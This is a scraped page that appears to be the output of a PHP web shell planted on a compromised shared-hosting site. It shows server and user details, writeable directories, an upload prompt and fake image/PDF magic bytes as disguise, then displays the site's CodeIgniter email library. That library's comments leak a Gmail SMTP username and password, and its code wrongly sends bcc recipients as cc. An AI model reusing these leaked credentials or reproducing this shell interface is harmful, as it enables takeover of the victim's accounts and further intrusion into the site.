%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/libraries/Dmailer.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Dmailer
{
	
	private $CI;
		
    public function __construct()
	{
		
		$this->CI =& get_instance();		
		/*$config = array(
		'protocol' => 'smtp',
		'smtp_host' => 'ssl://smtp.googlemail.com',
		'smtp_port' => 465,
		'smtp_user' => 'weblink.dkm@gmail.com',
		'smtp_pass' => 'wlhr-1471',     
		 );	*/
		
	    $this->CI->load->library('email');
		
	    //$this->CI->email->initialize($config);    
		
	 }
   
   
   public function mail_notify($mail_conf = array())
   {
	   
			/*
			 $mail_conf =  array(
			'subject'=>"hiiiiiii",
			'to_email'=>"sk@gmail.com",
			'from_email'=>"mk@gmail.com",
			'from_name'=>"mk maurya",
			'body_part'=>"hfdgfgdg gfdgf dgdfgdf gdfg",
			 print_r($mail_conf); exit();
			 			 			
			*/	
			   
		   if(is_array($mail_conf) && !empty($mail_conf) )
		   { 	   	 
				 					 
					$mail_to            = $mail_conf['to_email'];
					$mail_subject       = $mail_conf['subject']; 
					$from_email         = $mail_conf['from_email'];
					$from_name          = $mail_conf['from_name'];	
					$body               = $mail_conf['body_part'];				
					$file               = @$mail_conf['attachment'];
					$cc                 = @$mail_conf['cc'];
					$bcc                = @$mail_conf['bcc'];
					$alternative_msg    = @$mail_conf['alternative_msg'];
					$debug              = @$mail_conf['debug'];
					
								
					$this->CI->email->set_newline("\r\n");
					$this->CI->email->set_mailtype('html');				  
					$this->CI->email->from($from_email, $from_name);
					$this->CI->email->reply_to($from_email, $from_name);
					$this->CI->email->to($mail_to);	
						
					if($cc!='')
					{
						$this->CI->email->cc($cc);						
					}
					if($bcc!='')
					{
						$this->CI->email->cc($bcc);
					}
					
					if($alternative_msg!='')
					{					
						$this->email->set_alt_message($alternative_msg);					
					}
					if($file !='' && file_exists($file))
					{
						$this->CI->email->attach($file);
					}				
					$this->CI->email->subject($mail_subject);				
					$this->CI->email->message($body);								
					$this->CI->email->send();				
					
					if($debug )
					{
						 $this->CI->email->print_debugger();
					}
					
					$this->CI->email->clear(TRUE);	
			  
			  }  
   
     } 
     
		public function send($data=array()){				
			if(array_key_exists('config',$data)){
				$data["config"]['mailtype']='html';
				$this->CI->load->library('email',$data["config"]);
				$config['mailtype']="html";
				$this->CI->email->initialize($config);
			}			
			$from=$this->CI->admin_info->email;
			
			$this->CI->email->from($from, $this->CI->config->item('site_name'));			
			if(array_key_exists('to',$data))
				$to=$data["to"];
			else 
				$to=$from;
					
			$this->CI->email->to($to);
			$this->CI->email->subject($this->CI->config->item('site_name').' :: '.$data["subject"]);
			$mess='<div style="width:600px; margin:0 auto; padding:20px; border:#000 8px solid;">
			<div style="margin-bottom:10px;"><a href="'.base_url().'" target="_blank">
			<img src="'.theme_url().'images/domestic-shops.jpg" alt="'.$this->CI->config->item('site_name').'" border="0" /></a></div>
    		<div style="font:normal 12px Arial, Helvetica, sans-serif; color:#424242; line-height:1.7em; text-align:justify; padding-top:10px; border-top:#00a7eb 1px solid;">';
			$mess.=$data["mess"]."<br/>";						
			$mess.="<strong>Thanks & Regards</strong>"."<br/>";
			$mess.="<strong>".anchor(base_url(),$this->CI->config->item('site_name'))."</strong>";
			$mess.="<br/><br/><br/><br/></div></div>";	
			//echo $mess;exit;		
			$this->CI->email->message($mess);			
			@$this->CI->email->send();		
			//echo $this->CI->email->print_debugger();
		}


}
// END Form Email mailer  Class
/* End of file Dmailer.php */
/* Location: ./application/libraries/Dmailer.php */

VaKeR 2022